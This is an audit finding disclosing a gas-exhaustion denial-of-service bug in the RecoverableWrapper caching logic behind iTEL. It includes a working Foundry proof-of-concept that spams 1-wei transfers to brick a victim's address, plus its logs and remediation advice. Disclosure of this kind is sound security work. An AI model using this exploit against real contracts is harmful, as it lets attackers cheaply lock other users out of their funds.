Attacker can brick iTEL bridging and transfers taking advantage of caching flaw

[leopashov]

Cantina finding: # 362
Severity: Medium

Summary

The RecoverableWrapper implements a caching system intended to cache unsettled records to optimize for gas consumption of the linked list.

There's a bug that breaks how caching is intended to work which allows an attacker to brick a victims address from transfers, wrapping / unwrapping, and bridging by forcing an OOG error.

Finding Description

To understand the exploit, you need to first understand the flaw in the caching system:

InterchainTEL inherits the RecoverableWrapper, which gives the InterchainTEL owner the ability to freeze iTEL within a certain recovery window whenever it's minted or transferred. The contract creates a new record for each mint / transfer per account and stores it in a linked list data structure.

Anytime iTEL is minted, burned, or transferred, _clean loops through the linked list and:

• Settles any records that have successfully passed the recovery window
• Caches any records that are still unsettled.

The problem is that this caching doesn't function properly.

In _clean (assuming there's no freezing of records), the while loop deletes records that have settled, then breaks out of the loop once it either gets to the end of the linked list or hits the first unsettled record. This means that when it breaks out of the loop, the cacheIndex is the last settled record.

function _clean(address account) internal virtual {
    uint128 unsettled = _accountState[account].cachedUnsettled;
    uint256 cacheIndex = _unsettledRecords[account].cacheIndex;
    uint128 unsettledFrozen = _accountState[account].cachedUnsettledFrozen;
    uint16 i = 0;
    Record memory r;
    
    while (_unsettledRecords[account].head > 0 && i < MAX_TO_CLEAN) {
        uint256 index;
        (r, index) = _unsettledRecords[account].first();
        if (r.settlementTime > block.timestamp) break; //not expired yet
        if (r.frozen > 0) {
            _unsettledRecords[account].dequeue(false);
        } else {
            _unsettledRecords[account].dequeue(true); // @audit deletes the settled record
        }

        if (index <= cacheIndex) {
            unsettled -= r.amount;
            if (r.frozen > 0) {
                unsettledFrozen -= r.frozen;
            }
        } else {
            cacheIndex = index; // @audit set the cacheIndex to the index of the record that was just deleted
        }
        i++;
    }

    // SNIP...
}

When a record is settled, it's deleted in dequeue() (again, assuming it's not frozen), so now the cacheIndex is referencing a deleted record.

Next, the code gets the record at the cacheIndex and loops though the unsettled records to cache them, but breaks out of the loop before any caching can occur because r.next is always 0 since that record was just deleted:

r = _unsettledRecords[account].getAt(cacheIndex); // @audit Get the record at cacheIndex (which has been deleted)
uint256 head = _unsettledRecords[account].head;
for (i; i < MAX_TO_CLEAN; i++) {
    if (r.next == 0) { // @audit we always break out of the loop here since r.next is also 0
        break;
    }
    cacheIndex = cacheIndex < head ? head : r.next;
    r = _unsettledRecords[account].getAt(cacheIndex);
    unsettled += r.amount;
    unsettledFrozen += r.frozen;
}

The caching loop never runs (except in some freeze edge cases), so the cacheIndex is always 1 less than the head and unsettled / unsettledFrozen remain 0.

Exploit

An attacker can repeatedly transfer 1 wei to a victim's address, strategically filling up the victim's unsettled records linked list to the point where the next call the victim makes will cost more than the block gas limit, reverting due to an OOG error.

This attack is possible because _unsettledBalanceOf (which is called in transfer, transferFrom, unwrapTo, unwrap, and burn) uses a loop to sum all the uncached, unsettled records. Because the caching isn't working properly, the attacker can create a state where the cacheIndex is 0, but the tail is very large (e.g., 7500), forcing the loop to run 7500 times and causing the OOG error:

while (current > cacheIndex) { // @audit loop through from cacheIndex to tail
    Record memory r = _unsettledRecords[account].getAt(current);
    if (r.settlementTime <= block.timestamp) break; 
    unsettledTotal += r.amount;
    unsettledFrozen += r.frozen;
    current = r.prev;
}

When the attacker calls transfer, the function calls _clean twice (which calls _unsettledBalanceOf twice), on both the attacker's address and the victim's address.

To reduce gas costs, a sophisticated attacker would create a new address to attack from every few hundred transfers.

The cost of the attack is extremely small. To brick an address for a year, an attacker would need to spend less than $1 worth of iTEL.

Proof of Concept

1. Add this getter to RecoverableWrapper.sol:

function getCacheIndexHeadTail(
    address account
) external view returns (uint256 head, uint256 tail, uint256 cacheIndex) {
    RecordsDeque storage rd = _unsettledRecords[account];
    head = rd.head;
    tail = rd.tail;
    cacheIndex = rd.cacheIndex;
}

2. Create a new .t.sol file under tn-contracts/test/ITS, paste the following code, and then run forge test --mt test_DosAttackDueToBrokenCaching -vv

// SPDX-License-Identifier: MIT or Apache-2.0
pragma solidity ^0.8.20;

import "forge-std/Test.sol";
import {RecoverableWrapper} from "../../src/recoverable-wrapper/RecoverableWrapper.sol";
import {WTEL} from "../../src/WTEL.sol";

contract DosAttackTestOOG is Test {
    RecoverableWrapper recoverableWrapper;
    WTEL wTEL;
    address public owner = makeAddr("owner");
    address public attacker = makeAddr("attacker");

    address public victim = makeAddr("victim");
    address public victimOtherWallet = makeAddr("victimOtherWallet");

    function setUp() public {
        vm.startPrank(owner);
        wTEL = new WTEL();
        recoverableWrapper = new RecoverableWrapper(
            "test",
            "test",
            600,
            owner,
            address(wTEL),
            300 
        );
        vm.stopPrank();

        deal(address(wTEL), attacker, 1000e18); 
        deal(address(wTEL), victim, 1000e18); 

        vm.startPrank(attacker);
        vm.warp(100);
        wTEL.approve(address(recoverableWrapper), 1000e18);
        recoverableWrapper.wrap(1000e18);
        skip(600);
        vm.stopPrank();

        vm.startPrank(victim);
        vm.warp(100);
        wTEL.approve(address(recoverableWrapper), 1000e18);
        recoverableWrapper.wrap(1000e18);
        skip(600);
        vm.stopPrank();
    }

    function test_DosAttackDueToBrokenCaching() public {
        uint256 gasBefore;
        uint256 gasAfter;
            
        vm.startPrank(attacker);
        for (uint256 x = 0; x < 75; x++) {
            for (uint256 y = 0; y < 100; y++) {    
                recoverableWrapper.transfer(victim, 1);
            }
            skip(8);
        }
        vm.stopPrank();

        (,uint256 tail, uint256 cacheIndex) = logHeadTailAndCacheIndex(victim);
        assertEq(tail, 7501); 
        assertEq(cacheIndex, 0);

        vm.startPrank(victim);
        gasBefore = gasleft();
        recoverableWrapper.transfer(victimOtherWallet, 1);
        gasAfter = gasleft();
        
        assertGt(gasBefore - gasAfter, 30_000_000);
        console.log("Victim's Transfer Gas:", gasBefore - gasAfter);
        vm.stopPrank();
    }

    function logHeadTailAndCacheIndex(
        address account
    ) public view returns (uint256 head, uint256 tail, uint256 cacheIndex) {
        
        (head, tail, cacheIndex) = recoverableWrapper.getCacheIndexHeadTail(account);

        console.log("Logging Head, Tail, and CacheIndex:");
        console.log("  Head:", head);
        console.log("  Tail:", tail);
        console.log("  CacheIndex:", cacheIndex);
        console.log("");
    }
}

Logs:

Ran 1 test for test/ITS/zOOG-Caching-Bug.t.sol:DosAttackTestOOG
[PASS] test_DosAttackDueToBrokenCaching() (gas: 917761701)
Logs:
  Logging Head, Tail, and CacheIndex:
    Head: 2
    Tail: 7501
    CacheIndex: 0
  
  Victim's Transfer Gas: 31359763

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 689.01ms (677.31ms CPU time)

Recommendation

To prevent this attack, you just need to make sure the caching works properly so an attacker can't take advantage of the code having to loop through such a large linked list.

Remediation
Update _clean so that cacheIndex points to an existing record before calling getAt(cacheIndex). For instance, when deleting a settled record, set cacheIndex to the new head instead of the deleted index. Add tests ensuring cacheIndex always references a valid record and that caching correctly updates cachedUnsettled after multiple transfers.